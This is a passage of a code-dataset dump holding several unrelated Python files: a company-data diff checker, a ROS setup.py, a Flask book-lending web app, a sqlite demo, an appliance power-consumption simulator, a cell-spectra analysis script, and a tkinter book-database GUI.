sourcecompany[\"source_artifact\"]\n sa_position = 0\n sourceartifactIds = []\n source_artifacts = conn.query(\"select * from source_artifact where sourceCompanyId=%s\", sourceCompanyId)\n # Check artifact for \"create\" or \"update\"\n for sartifact in sartifacts:\n # if sartifact.has_key(\"active\") is False:\n # continue\n #alive\n # if sartifact[\"alive\"] == 'N':\n # continue\n source_artifact = None\n if sartifact[\"domain\"] is not None:\n source_artifact = conn.get(\"select * from source_artifact where type=%s and domain=%s and sourceCompanyId =%s limit 1\",\n sartifact[\"type\"], sartifact[\"domain\"], sourceCompanyId)\n if source_artifact is None and sartifact[\"type\"] in [4010, 4020, 4030]:\n source_artifact = conn.get(\"select * from source_artifact where type=%s and link=%s and sourceCompanyId =%s limit 1\",\n sartifact[\"type\"], sartifact[\"link\"], sourceCompanyId)\n\n if source_artifact is None:\n #New artifact\n logger.info(\"New source_artifact found under sc:%s : %s, %s\", sourceCompanyId, sartifact[\"name\"], sartifact[\"link\"])\n said = parser_mysql_util.save_artifact(sourceCompanyId, sartifact)\n set_diff(\"source_artifact\", \"create\", said)\n update = \"create\"\n else:\n sourceartifactIds.append(source_artifact[\"id\"])\n\n if source_artifact[\"artifactStatus\"] is None:\n # Todo\n continue\n\n #source_artifact is accessible\n if source_artifact[\"artifactStatus\"] != 11:\n if sartifact[\"artifactStatus\"] is not None and sartifact[\"artifactStatus\"] == 11:\n # artifact now not accessible but alive before, now mark\n logger.info(\"Inactive source_artifact under sc:%s : %s, %s\", sourceCompanyId, sartifact[\"name\"], sartifact[\"link\"])\n set_diff(\"source_artifact\", \"delete\", source_artifact[\"id\"])\n update = \"delete\"\n else:\n # Same artifact, no action\n pass\n # source_artifact is not accessible\n else:\n if sartifact[\"artifactStatus\"] is not None and sartifact[\"artifactStatus\"] != 11:\n # artifact now accessible, mark\n logger.info(\"Reactive source_artifact under sc:%s : %s, %s\", sourceCompanyId, sartifact[\"name\"], sartifact[\"link\"])\n set_diff(\"source_artifact\", \"update\", source_artifact[\"id\"], sa_position)\n update =\"update\"\n\n sa_position += 1\n\n #Check artifact for \"disappear\"\n # for sartifact in sartifacts:\n # if sartifact.has_key(\"active\") is False:\n # continue\n # if sartifact[\"active\"] == 'N':\n # source_artifact = conn.get(\"select * from source_artifact where type=%s and domain=%s and sourceCompanyId =%s limit 1\",\n # sartifact[\"type\"], sartifact[\"domain\"], sourceCompanyId)\n # if source_artifact is not None and (source_artifact[\"active\"] is None or source_artifact[\"active\"] == \"Y\"):\n # #Inactive artifact\n # logger.info(\"Inactive source_artifact found under sc:%s : %s, %s\", sourceCompanyId, sartifact[\"name\"], sartifact[\"link\"])\n # set_diff(\"source_artifact\", \"delete\", source_artifact[\"id\"])\n # update = \"delete\"\n\n # Check source_artifact has artifacts which do not existed in sartifact(mongo expand)\n for sourceArtifact in source_artifacts:\n if sourceArtifact[\"id\"] not in sourceartifactIds:\n logger.info(\"Recent expand not found source_artifact under sc:%s : %s, %s\", sourceCompanyId, sourceArtifact[\"name\"], sourceArtifact[\"link\"])\n set_diff(\"source_artifact\", \"delete\", sourceArtifact[\"id\"])\n update = \"delete\"\n\n #Check source_company_name\n if sourcecompany.has_key(\"source_company_name\"):\n scnames = sourcecompany[\"source_company_name\"]\n sourcecompanynameIds = []\n source_company_names = conn.query(\"select * from source_company_name where sourceCompanyId=%s\", sourceCompanyId)\n for scname in scnames:\n source_company_name = conn.get(\"select * from source_company_name where sourceCompanyId=%s and name=%s limit 1\",\n sourceCompanyId, scname[\"name\"])\n if source_company_name is None:\n logger.info(\"New source_company_name under sc: %s : %s\", sourceCompanyId, scname[\"name\"])\n scnid = parser_mysql_util.save_company_name(sourceCompanyId, scname)\n set_diff(\"source_company_name\", \"create\", scnid)\n update = \"create\"\n else:\n sourcecompanynameIds.append(source_company_name[\"id\"])\n\n # Check source_company_name has names which do not existed in scname(mongo expand)\n for sourceCompanyName in source_company_names:\n if sourceCompanyName[\"id\"] not in sourcecompanynameIds:\n logger.info(\"Recent expand not found source_company_name under sc:%s : %s\", sourceCompanyId, sourceCompanyName[\"name\"])\n set_diff(\"source_company_name\", \"delete\", sourceCompanyName[\"id\"])\n update = \"delete\"\n\n\n #Check source_funding\n if sourcecompany.has_key(\"source_funding\"):\n sfundings = sourcecompany[\"source_funding\"]\n sf_position = 0\n # Check funding for \"create\" or \"update\"\n for sfunding in sfundings:\n source_funding = conn.get(\"select * from source_funding where round=%s and sourceCompanyId =%s limit 1\",\n sfunding[\"round\"], sourceCompanyId)\n if source_funding is None:\n # New Funding\n logger.info(\"New source_funding found under sc:%s : round: %s, %s\", sourceCompanyId, sfunding[\"round\"],sfunding[\"investment\"])\n sfid = parser_mysql_util.save_funding(sourceCompanyId, sfunding, download_crawler)\n set_diff(\"source_funding\", \"create\", sfid)\n update = \"create\"\n else:\n #Update funding\n diff = check_item(sfunding, source_funding, [\"currency\", \"investment\", \"precise\", \"fundingDate\"])\n if diff is not None:\n logger.info(\"Update source_funding found under sc:%s : %s, %s\", sourceCompanyId, sfunding[\"round\"],sfunding[\"investment\"])\n set_diff(\"source_funding\", diff, source_funding[\"id\"], sf_position)\n update = diff\n else:\n source_funding_investor_rel = conn.query(\"select * from source_funding_investor_rel where sourceFundingId=%s\", source_funding[\"id\"])\n\n if len(source_funding_investor_rel) != len(sfunding[\"_investorIds\"]):\n #Update investors\n logger.info(\"Update source_funding by diff investors under sc:%s : round: %s\", sourceCompanyId, sfunding[\"round\"])\n set_diff(\"source_funding\", \"update\", source_funding[\"id\"], sf_position)\n update = \"update\"\n\n elif len(sfunding[\"_investorIds\"]) > 0:\n mongo = db.connect_mongo()\n collection_investor = mongo.source.investor\n for sinvestorId in sfunding[\"_investorIds\"]:\n sinvestor = collection_investor.find_one({\"_id\": sinvestorId})\n\n if sinvestor is None:\n continue\n #Itjuzi sometimes do not provide investor id\n if sinvestor[\"sourceId\"] is not None:\n source_investor = conn.get(\"select i.* from source_funding_investor_rel r join source_investor i on r.sourceInvestorId=i.id \"\n \"where r.sourceFundingId=%s and i.sourceId=%s limit 1\", source_funding[\"id\"], sinvestor[\"sourceId\"])\n else:\n source_investor = conn.get(\"select i.* from source_funding_investor_rel r join source_investor i on r.sourceInvestorId=i.id \"\n \"where r.sourceFundingId=%s and i.name=%s limit 1\", source_funding[\"id\"],sinvestor[\"name\"])\n\n if source_investor is None:\n #Update investors - new added investor\n logger.info(\"Update source_funding by new investor under sc:%s : round: %s\", sourceCompanyId, sfunding[\"round\"])\n set_diff(\"source_funding\", \"update\", source_funding[\"id\"], sf_position)\n update = \"update\"\n # else:\n # # Update investors - update investor info\n # diff = check_item(sinvestor, source_investor, [\"name\", \"website\", \"desription\"])\n # if diff is not None:\n # logger.info(\"Update source_funding by update investor info under sc:%s : round: %s\", sourceCompanyId, sfunding[\"round\"])\n # set_diff(\"source_funding\", diff, source_funding[\"id\"], sf_position)\n # update = diff\n mongo.close()\n sf_position += 1\n # Check funding for \"disappear\"\n # if round is found in mysql but not existed in mongo, add diff for \"delete\"?\n\n\n #Check source_member\n if sourcecompany.has_key(\"source_company_member\"):\n company_members = sourcecompany[\"source_company_member\"]\n cm_position = 0\n #Check company_member for \"create\" or \"update\"\n for company_member in company_members:\n if company_member[\"_memberId\"] is None:\n continue\n mongo = db.connect_mongo()\n collection_member = mongo.source.member\n smember = collection_member.find_one({\"_id\": company_member[\"_memberId\"]})\n mongo.close()\n if smember is None:\n continue\n\n if smember[\"sourceId\"] is not None:\n source_member = conn.get(\"select m.*,r.position,r.type,r.id as relId from source_company_member_rel r join source_member m on r.sourceMemberId=m.id \"\n \"where r.sourceCompanyId=%s and m.sourceId=%s limit 1\", sourceCompanyId, smember[\"sourceId\"])\n else:\n source_member = conn.get(\"select m.*,r.position,r.type,r.id as relId from source_company_member_rel r join source_member m on r.sourceMemberId=m.id \"\n \"where r.sourceCompanyId=%s and m.name=%s limit 1\", sourceCompanyId, smember[\"name\"])\n if source_member is None:\n # New Member\n logger.info(\"New source_member found under sc:%s : %s, %s\", sourceCompanyId, smember[\"name\"], company_member[\"position\"])\n scmrid = parser_mysql_util.save_company_member_rel(sourceCompanyId, company_member, download_crawler)\n set_diff(\"source_company_member_rel\", \"create\", scmrid)\n update = \"create\"\n else:\n #Update Members\n smember[\"position\"] = company_member[\"position\"]\n smember[\"type\"] = company_member[\"type\"]\n # logger.info(smember)\n diff = check_item(smember, source_member, [\"position\", \"type\", \"name\", \"education\", \"work\", \"description\"])\n if diff is not None:\n logger.info(\"Update source_member under sc:%s : %s, %s\", sourceCompanyId, smember[\"name\"], company_member[\"position\"])\n set_diff(\"source_company_member_rel\", diff, source_member[\"relId\"], cm_position)\n update = diff\n cm_position += 1\n\n conn.close()\n if update is not None:\n return sourceCompanyId\n else:\n return None\n\n\nif __name__ == \"__main__\":\n check_diff()\n","sub_path":"data/spider2/aggregator/company/check_expand_diff.py","file_name":"check_expand_diff.py","file_ext":"py","file_size_in_byte":17077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"176753801","text":"from setuptools import setup\n\npackage_name = 'scripts'\n\nsetup(\n name=package_name,\n version='0.0.0',\n packages=[package_name],\n data_files=[\n ('share/ament_index/resource_index/packages',\n ['resource/' + package_name]),\n ('share/' + package_name, ['package.xml']),\n ],\n install_requires=['setuptools'],\n zip_safe=True,\n maintainer='coldyoungguy',\n maintainer_email='coldyoungguy@todo.todo',\n description='TODO: Package description',\n license='TODO: License declaration',\n tests_require=['pytest'],\n entry_points={\n 'console_scripts': [\n 'plotter = scripts.plotting_sub:main',\n 'command_sub = scripts.command_test_sub:main',\n 'command_test_pub = scripts.command_test_pub:main',\n 'command_pub = scripts.command_pub:main',\n 'wall_follow = scripts.wall_follow:main'\n ],\n },\n)","sub_path":"Scripts/Workstation/scripts/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"526740628","text":"from flask import render_template, flash, redirect, session, url_for, request, g, Blueprint, session\nfrom flask_admin.contrib.sqla import ModelView\nfrom models import User, Book\nimport flask_login\nfrom flask_login import login_user, LoginManager, logout_user, login_required, current_user\nfrom forms import RegisterUser, LoginForm, BookForm, SearchBook, BorrowForm, ReturnForm, changeUsernameForm\nfrom __init__ import db, app, login_manager, admin\nfrom datetime import datetime\nfrom logging import FileHandler, WARNING\nimport logging\n\nlogging.basicConfig(filename='errorlog.txt',level = logging.DEBUG)\n\n\nmain = Blueprint('main',__name__,\n static_folder='static',\n template_folder='templates')\n\nadmin.add_view(ModelView(User,db.session))\nadmin.add_view(ModelView(Book,db.session))\n\n\n#home page of the app\n@main.route(\"/\")\ndef homepage():\n form = SearchBook()\n book_of_the_day = Book.query.order_by(Book.userNumber.desc()).first()\n app.logger.info('Main Page')\n if current_user.is_authenticated:\n return redirect(url_for(\"main_bp.dashboard\"))\n return render_template(\"main.html\", title = \"Home\", form = form, current_user = current_user, book_of_the_day = book_of_the_day) \n\n\n#shows search results of the books\n@main.route(\"/results/\", methods = ['GET','POST'])\ndef search_results(id):\n form = SearchBook()\n form2 = BorrowForm()\n book = Book.query.get_or_404(id)\n title = book.name\n if form2.is_submitted():\n if not current_user.is_authenticated:\n flash(\"Please Login to borrow this book\")\n app.logger.info('User Not Logged in!') \n return render_template('search_results.html', form = form, book = book, form2 = form2, title = title, current_user = current_user)\n else:\n book.userNumber += 1\n book.date_borrowed = datetime.utcnow()\n book.user.append(current_user)\n app.logger.info('User logged in and borrowed a book')\n db.session.commit()\n return redirect(url_for('main_bp.returned'))\n return render_template('search_results.html', form = form, book = book, form2 = form2, title = title)\n\n\n#shows the book you selected to borrow\n@main.route(\"/search\", methods = ['GET','POST'])\ndef search_for_book():\n form = SearchBook()\n if form.is_submitted():\n search = form.book_search.data\n flash(search)\n result = \"%{}%\".format(search)\n books = Book.query.filter(Book.name.like(result)).all()\n app.logger.info('Book Searched!')\n return render_template('results.html',books = books, form = form, current_user = current_user)\n return redirect(url_for('main.homepage'))\n\n#shows all available books to borrow\n@main.route(\"/viewbook\")\ndef view_all_books():\n books = Book.query.all()\n form = SearchBook()\n return render_template('results.html', books = books, form = form, current_user = current_user)\n\nmain_bp = Blueprint(\n 'main_bp', __name__,\n template_folder='templates',\n static_folder='static'\n)\n\n\n@main_bp.route('/registered', methods=['GET','POST'])\n@login_required\ndef dashboard():\n \"\"\"Logged-in User Dashboard.\"\"\"\n form = SearchBook()\n session['userID'] = current_user.id\n session['userName'] = current_user.username\n session['email'] = current_user.email\n book = Book.query.order_by(Book.id.desc()).limit(3)\n book_of_the_day = Book.query.order_by(Book.userNumber.desc()).first()\n if form.is_submitted():\n search = form.book_search.data\n flash(search)\n result = \"%{}%\".format(search)\n books = Book.query.filter(Book.name.like(result)).all()\n return render_template('results.html',books = books, form = form)\n return render_template(\n 'loggedinuser.html',\n title='Dashboard | Personal Library',\n current_user=current_user,\n form = form,\n book = book,\n book_of_the_day = book_of_the_day\n )\n\n@main_bp.route('/logout')\n@login_required\ndef logout():\n \"\"\"User log-out logic.\"\"\"\n logout_user()\n app.logger.info('Logged out')\n return redirect(url_for(\"main.homepage\"))\n\n#page to return books from\n@main_bp.route('/return', methods = ['GET','POST'])\n@login_required\ndef returned():\n form = SearchBook()\n form2 = ReturnForm()\n books = current_user.book\n return render_template(\n 'return.html',\n title = 'Return a book',\n current_user = current_user,\n form = form,\n form2 = form2,\n books = books\n )\n\n#return a book back to the library\n@main_bp.route('/delete',methods = ['POST','GET'])\n@login_required\ndef delete(id):\n form2 = ReturnForm()\n if form2.is_submitted():\n flash(current_user.id)\n book = Book.query.get_or_404(id)\n user = User.query.filter_by(id=current_user.id).first()\n user.leave_book(book)\n db.session.commit()\n app.logger.info('Book Returned!')\n flash(\"Book returned successfully\")\n return redirect(url_for('main_bp.returned'))\n return redirect(url_for(\"main_bp.returned\"))\n \n#session data\n@main_bp.route('/get')\n@login_required\ndef get_session():\n return str(session.get(\"email\")) + str(session.get(\"userID\")) + str(session.get(\"userName\")) + str(session.get(\"books\"))\n\n#route to change your username\n@main_bp.route('/user', methods = ['GET','POST'])\n@login_required\ndef change_username():\n form = SearchBook()\n form2 = changeUsernameForm()\n if form2.is_submitted():\n current_user.username = form2.new_username.data\n db.session.commit()\n app.logger.info('Username Changed!')\n return redirect(url_for('main_bp.dashboard'))\n return render_template('change_username.html', form = form, form2 = form2)\n\n\napp.register_blueprint(main)\napp.register_blueprint(main_bp)\n\n\n#runs the app\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"WebAppCW2/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"111472908","text":"\"\"\"\nPopulates a sqlite database and answers some basic questions\n\"\"\"\n\nimport sqlite3\n\n# initialize connection\nconnection = sqlite3.connect('demo_data.sqlite3')\ncurs = connection.cursor()\n\n# drop table if it exists, and create new table\ndrop_query = 'DROP TABLE IF EXISTS demo;'\ncreate_query = \"\"\"CREATE TABLE demo (\n s string,\n x int,\n y int\n);\"\"\"\n\nconnection.cursor().execute(drop_query)\nconnection.cursor().execute(create_query)\n\n# insert data\ninsert_query = \"\"\"INSERT INTO demo VALUES\n ('g', 3, 9),\n ('v', 5, 7),\n ('f', 8, 7);\"\"\"\n\nconnection.cursor().execute(insert_query)\n\n# commit changes\nconnection.commit()\n\n# related questions\n# 1. Count how many rows you have - it should be 3!\ncount_rows_query = 'SELECT COUNT(s) FROM demo'\ntotal_rows = connection.cursor().execute(count_rows_query).fetchone()[0]\nprint ('Total Rows:', total_rows)\n\n# 2. How many rows are there where both `x` and `y` are at least 5?\nx_y_greater_than_5_query = \"\"\"SELECT COUNT (s) FROM demo\n WHERE x >= 5\n AND y >= 5;\"\"\"\nx_y_large_row_count = curs.execute(x_y_greater_than_5_query).fetchone()\nprint ('Rows where x and y are more than 5:', x_y_large_row_count[0])\n\n# 3. How many unique values of `y` are there (hint - `COUNT()` can accept a\n# keyword `DISTINCT`)?\nunique_y_query = 'SELECT COUNT (DISTINCT y) FROM demo'\nunique_y = curs.execute(unique_y_query).fetchone()[0]\nprint ('Unique y values:', unique_y)\n","sub_path":"demo_data.py","file_name":"demo_data.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"579671590","text":"import random\nimport numpy\nimport matplotlib.pyplot as plt\n\n'''\na => długość działania urządzenia w ramach jednego użycia\nb => czas, w którym urządzenia jest włączone, pobiera energię\nc => pobór mocy, on/off\nd => odstęp pomiędzy poborami energii w ramach jednego użycia\ne => odstęp czasowy pomiędzy użyciami\nb_zelazka = random.gauss(7.85, 1.21)\nc_zelazka = 2400\nd_zelazka = random.expovariate(0.1) + 50\ne_zelazka = random.randint(30*60, 30*3600)\n'''\n\nclass Urzadzenia:\n\n def zelazko(self):\n dane_zelazko_wl = []\n dane_zelazko_b = []\n dane_zelazko_c = []\n dane_zelazko_d = []\n liczba_uzyc = random.randint(1, 5)\n liczba_wlaczen = random.randint(1, 20)\n for i in range(0, liczba_uzyc):\n tryb = random.randint(1, 3)\n if tryb == 1:\n for j in range(0, liczba_wlaczen):\n if j == 0:\n temp = random.randrange(45, 55)\n dane_zelazko_wl.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(2400)\n temp = random.gauss(7.85, 1.5)\n dane_zelazko_b.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(2400)\n temp = random.expovariate(0.05)\n dane_zelazko_d.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(15)\n dane_zelazko_e = random.randint(10*60, 150*60)\n for j in range(0, round(dane_zelazko_e)):\n dane_zelazko_c.append(0)\n if tryb == 2:\n for j in range(0, liczba_wlaczen):\n if j == 0:\n temp = random.randrange(55, 65)\n dane_zelazko_wl.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(2400)\n temp = random.gauss(16.58333, 2.712207)\n dane_zelazko_b.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(2400)\n temp = random.weibullvariate(5, 35)\n dane_zelazko_d.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(15)\n dane_zelazko_e = random.randint(10*60, 150*60)\n for j in range(0, round(dane_zelazko_e)):\n dane_zelazko_c.append(0)\n else:\n for j in range(0, liczba_wlaczen):\n if j == 0:\n temp = random.randrange(70, 80)\n dane_zelazko_wl.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(2400)\n temp = random.weibullvariate(11, 25)\n dane_zelazko_b.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(2400)\n temp = random.weibullvariate(9, 30)\n dane_zelazko_d.append(temp)\n for k in range(0, round(temp)):\n dane_zelazko_c.append(15)\n dane_zelazko_e = random.randint(10*60, 150*60)\n for j in range(0, round(dane_zelazko_e)):\n dane_zelazko_c.append(0)\n # dane_zelazko_a = numpy.linspace(0, len(dane_zelazko_c), len(dane_zelazko_c))\n # plt.plot(dane_zelazko_a, dane_zelazko_c)\n # plt.xlabel('Czas [s]')\n # plt.ylabel('Moc [W]')\n # plt.title('Żelazko')\n # plt.show()\n return dane_zelazko_c\n\n def telewizor(self):\n dane_telewizor_c = []\n liczba_uzyc = random.randint(1, 5)\n for i in range(0, liczba_uzyc):\n dane_telewizor_b = random.lognormvariate(10, 1.9)\n for j in range(0, round(dane_telewizor_b)):\n dane_telewizor_c.append(70)\n dane_telewizor_e = random.randint(30*60, 150*60)\n for j in range(0, round(dane_telewizor_e)):\n dane_telewizor_c.append(26)\n # dane_telewizor_a = numpy.linspace(0, len(dane_telewizor_c), len(dane_telewizor_c))\n # plt.plot(dane_telewizor_a, dane_telewizor_c)\n # plt.xlabel('Czas [s]')\n # plt.ylabel('Moc [W]')\n # plt.title('Telewizor')\n # plt.show()\n return dane_telewizor_c\n\n def odkurzacz(self):\n dane_odkurzacz_c = []\n liczba_uzyc = random.randint(1, 3)\n liczba_wlaczen = random.randint(1, 3)\n for i in range(0, liczba_uzyc):\n for j in range(0, liczba_wlaczen):\n dane_odkurzacz_b = random.expovariate(0.001)\n for k in range(0, round(dane_odkurzacz_b)):\n dane_odkurzacz_c.append(600)\n dane_odkurzacz_d = random.gauss(20, 10)\n for k in range(0, round(dane_odkurzacz_d)):\n dane_odkurzacz_c.append(0)\n dane_odkurzacz_e = random.randint(300*60, 420*60)\n for k in range(0, round(dane_odkurzacz_e)):\n dane_odkurzacz_c.append(0)\n # dane_odkurzacz_a = numpy.linspace(0, len(dane_odkurzacz_c), len(dane_odkurzacz_c))\n # plt.plot(dane_odkurzacz_a, dane_odkurzacz_c)\n # plt.xlabel('Czas [s]')\n # plt.ylabel('Moc [W]')\n # plt.title('Odkurzacz')\n # plt.show()\n return dane_odkurzacz_c\n\n def oswietlenie(self):\n dane_oswietlenie_c = []\n liczba_wlaczen = random.randint(2, 3)\n for i in range(0, liczba_wlaczen):\n dane_oswietlenie_b = random.gammavariate(60, 90)\n for j in range(0, round(dane_oswietlenie_b)):\n dane_oswietlenie_c.append(8)\n dane_oswietlenie_e = random.randint(30*60, 500*60)\n for j in range(0, round(dane_oswietlenie_e)):\n dane_oswietlenie_c.append(0)\n # dane_oswietlenie_a = numpy.linspace(0, len(dane_oswietlenie_c), len(dane_oswietlenie_c))\n # plt.plot(dane_oswietlenie_a, dane_oswietlenie_c)\n # plt.xlabel('Czas [s]')\n # plt.ylabel('Moc [W]')\n # plt.title('Oswietlenie')\n # plt.show()\n return dane_oswietlenie_c\n\n def lodowka(self):\n dane_lodowka_c =[]\n dane_lodowka_b = []\n liczba_wlaczen = random.randint(10, 20)\n for i in range(0, 1):\n for j in range(0, liczba_wlaczen):\n dane_lodowka_b = random.gauss(90, 30)\n for k in range(0, round(dane_lodowka_b)):\n dane_lodowka_c.append(131)\n dane_lodowka_d = random.expovariate(0.00075)\n for k in range(0, round(dane_lodowka_d)):\n dane_lodowka_c.append(11)\n # dane_lodowka_a = numpy.linspace(0, len(dane_lodowka_c), len(dane_lodowka_c))\n # plt.plot(dane_lodowka_a, dane_lodowka_c)\n # plt.xlabel('Czas [s]')\n # plt.ylabel('Moc [W]')\n # plt.title('Lodowka')\n # plt.show()\n return dane_lodowka_c\n\n def pralka(self):\n dane_pralka_c =[]\n liczba_wlaczen = random.randint(1, 3)\n for i in range(0, liczba_wlaczen):\n tryb = random.randint(1, 2)\n if tryb == 1:\n for j in range(0, 120):\n dane_pralka_c.append(40)\n for j in range(0, 120):\n dane_pralka_c.append(1660)\n for j in range(0, 900):\n dane_pralka_c.append(300)\n for j in range(0, 240):\n dane_pralka_c.append(2000)\n for j in range(0, 240):\n dane_pralka_c.append(40)\n for j in range(0, 120):\n dane_pralka_c.append(1660)\n for j in range(0, 900):\n dane_pralka_c.append(300)\n for j in range(0, 360):\n dane_pralka_c.append(40)\n for j in range(0, 600):\n dane_pralka_c.append(300)\n dane_pralka_e = random.randint(180*60, 300*60)\n for j in range(0, round(dane_pralka_e)):\n dane_pralka_c.append(0)\n else:\n for j in range(0, 120):\n dane_pralka_c.append(40)\n for j in range(0, 180):\n dane_pralka_c.append(1660)\n for j in range(0, 480):\n dane_pralka_c.append(300)\n for j in range(0, 600):\n dane_pralka_c.append(2000)\n for j in range(0, 480):\n dane_pralka_c.append(300)\n for j in range(0, 60):\n dane_pralka_c.append(40)\n for j in range(0, 600):\n dane_pralka_c.append(2000)\n for j in range(0, 900):\n dane_pralka_c.append(300)\n for j in range(0, 180):\n dane_pralka_c.append(40)\n for j in range(0, 600):\n dane_pralka_c.append(300)\n dane_pralka_e = random.randint(180*60, 300*60)\n for j in range(0, round(dane_pralka_e)):\n dane_pralka_c.append(0)\n # dane_pralka_a = numpy.linspace(0, len(dane_pralka_c), len(dane_pralka_c))\n # plt.plot(dane_pralka_a, dane_pralka_c)\n # plt.xlabel('Czas [s]')\n # plt.ylabel('Moc [W]')\n # plt.title('Pralka')\n # plt.show()\n return dane_pralka_c\n","sub_path":"Urzadzenia.py","file_name":"Urzadzenia.py","file_ext":"py","file_size_in_byte":9647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"8672795","text":"# Analyze cell spectra for snakemake for 2019_09_20_saber_gfp_induced\n# Purpose: Which samples show GFP protein expression and were successfully labeled with saber probe?\n\nimport pandas as pd\nimport glob\n\n#################################################################################\n# Functions\n#################################################################################\n\n\ndef analyze_messenger_rna(filename):\n cells = pd.read_csv(filename)\n # print(cells.shape)\n cells_analyzed = pd.DataFrame()\n d = dict()\n for i in range(cells.shape[0]):\n # i = 0\n d['filename'] = filename\n d['cell_id'] = str(i)\n d['GFP'] = max(cells.iloc[i, 0:5])\n d['EUB_R6'] = max(cells.iloc[i, 57:63])\n d['mRNA_GFP_r.27.28.546'] = max(cells.iloc[i, 40:48])\n df = pd.DataFrame(d, index=[i])\n cells_analyzed = cells_analyzed.append(df)\n return(cells_analyzed)\n\n\n#################################################################################\n# Vars\n#################################################################################\n\n# # Snakemake\n# filenames = snakemake.input[0]\n# output_filename = snakemake.output[0]\n\n# Test inputs\ninput_folder = \"data/tables\"\noutput_filename = \"data/tables/cell_intensity_analyzed.csv\"\n\n#################################################################################\n# Script\n#################################################################################\n\n# Load in filenames from folder\nfilenames = glob.glob('{}/*.csv'.format(input_folder))\n# Set up target DataFrame\ncells_analyzed_all = pd.DataFrame()\n# Loop through all filenames, analyze intensity, write each analysis to target variable\nfor filename in filenames:\n # Ignore normalized intensity files\n if 'avgint_norm' in filename:\n pass\n # Ignore non-cell intensity files\n elif 'avgint' in filename:\n # analyze cell spectra intensity\n cells_analyzed = analyze_messenger_rna(filename)\n # append analysis to target variable\n cells_analyzed_all = cells_analyzed_all.append(cells_analyzed, ignore_index=True)\n\n# Write target variable to csv\ncells_analyzed_all.to_csv(output_filename)\n\n# # Check output file\n# c = pd.read_csv(output_filename, index_col=0)\n# print(c)\n","sub_path":"experiments/2019_09_20_saber_gfp_induced/scripts/analyze_cell_spectra.py","file_name":"analyze_cell_spectra.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"580649844","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 14 19:19:24 2020\n\n@author: user\n\"\"\"\n\n\nimport tkinter\nfrom tkinter import*\nimport sqlite3\nfrom tkinter.ttk import*\n\nimport sys\n\n\n\nwindow=Tk()\n\nwindow.wm_title('Book Database')#Title for the window\n\n\n\ndef view_all():\n t1.delete(0,END)#clear the outputbox\n conn=sqlite3.connect('books.db')\n cur=conn.cursor()\n cur.execute('SELECT * FROM book')\n x=cur.fetchall()\n conn.close()\n for i in x:\n t1.insert(END,i)\n \ndef search(title=\"\",author=\"\",year=\"\",isbn=\"\"):#default empty in case user will not enter all the values\n conn=sqlite3.connect('books.db')\n cur=conn.cursor()\n cur.execute('SELECT * FROM book WHERE title=? OR author=? OR year=? OR isbn=?',(title,author,year,isbn))\n x=cur.fetchall()\n conn.close()\n for i in x:\n t1.insert(END,i)\ndef add(title,author,year,isbn):\n conn=sqlite3.connect('books.db')\n cur=conn.cursor()\n cur.execute('INSERT INTO book VALUES (NULL,?,?,?,?)',(title,author,year,isbn))\n conn.commit()\n conn.close()\ndef update(title,author,year,isbn,id):\n conn=sqlite3.connect('books.db')\n cur=conn.cursor()\n cur.execute('UPDATE book SET title=?, author=?, year=?, isbn=? WHERE id=?',(title,author,year,isbn,id))\n conn.commit()\n conn.close()\ndef delete(id):\n conn=sqlite3.connect('books.db')\n cur=conn.cursor()\n cur.execute('DELETE FROM book WHERE id=?',(id,))\n conn.commit()\n conn.close() \n \ndef search1():\n t1.delete(0,END)#clear the outputbox\n x=search(e1_value.get(),e2_value.get(),e3_value.get(),e4_value.get())\n for i in x:\n t1.insert(END,i)\ndef add1():\n t1.delete(0,END)#clear the outputbox\n x=add(e1_value.get(),e2_value.get(),e3_value.get(),e4_value.get())\n t1.insert(END,e1_value.get(),e2_value.get(),e3_value.get(),e4_value.get())\ndef update1():\n t1.delete(0,END)#clear the outputbox\n update(e1_value.get(),e2_value.get(),e3_value.get(),e4_value.get(),selected_tuple[0])\n '''We need to pass the index as it is, but the values got to be original, not from the Selected tuple,\n otherwise we will be sending to database unchanged record'''\n x=search(selected_tuple[1],selected_tuple[2],selected_tuple[3],selected_tuple[4])\n t1.insert(END,x)\ndef delete1():\n x=delete(selected_tuple[0]) \n view_all()\n '''We just pass the index from the list item'''\n \n'''\nGet selected row is my function to get values from the selected item in list\n'''\ndef get_selected_row(event):\n '''Global is needed to ease the use of variable that doesn't exist outside the function'''\n global selected_tuple\n id=t1.curselection()[0]\n selected_tuple=t1.get(id)\n e1.delete(0,END)\n e1.insert(END,selected_tuple[1])\n e2.delete(0,END)\n e2.insert(END,selected_tuple[2])\n e3.delete(0,END)\n e3.insert(END,selected_tuple[3])\n e4.delete(0,END)\n e4.insert(END,selected_tuple[4])\n return(selected_tuple)\n\n'''INPUT boxes'''\n\ne1=Label(window,text=\"Book title\")\ne1.grid(row=0,column=0)\ne1_value=StringVar()\ne1=Entry(window,textvariable=e1_value)\ne1.grid(row=0,column=1)\ne2=Label(window,text=\"Book author\")\ne2.grid(row=0,column=2)\ne2_value=StringVar()\ne2=Entry(window,textvariable=e2_value)\ne2.grid(row=0,column=3)\ne3=Label(window,text=\"Year of 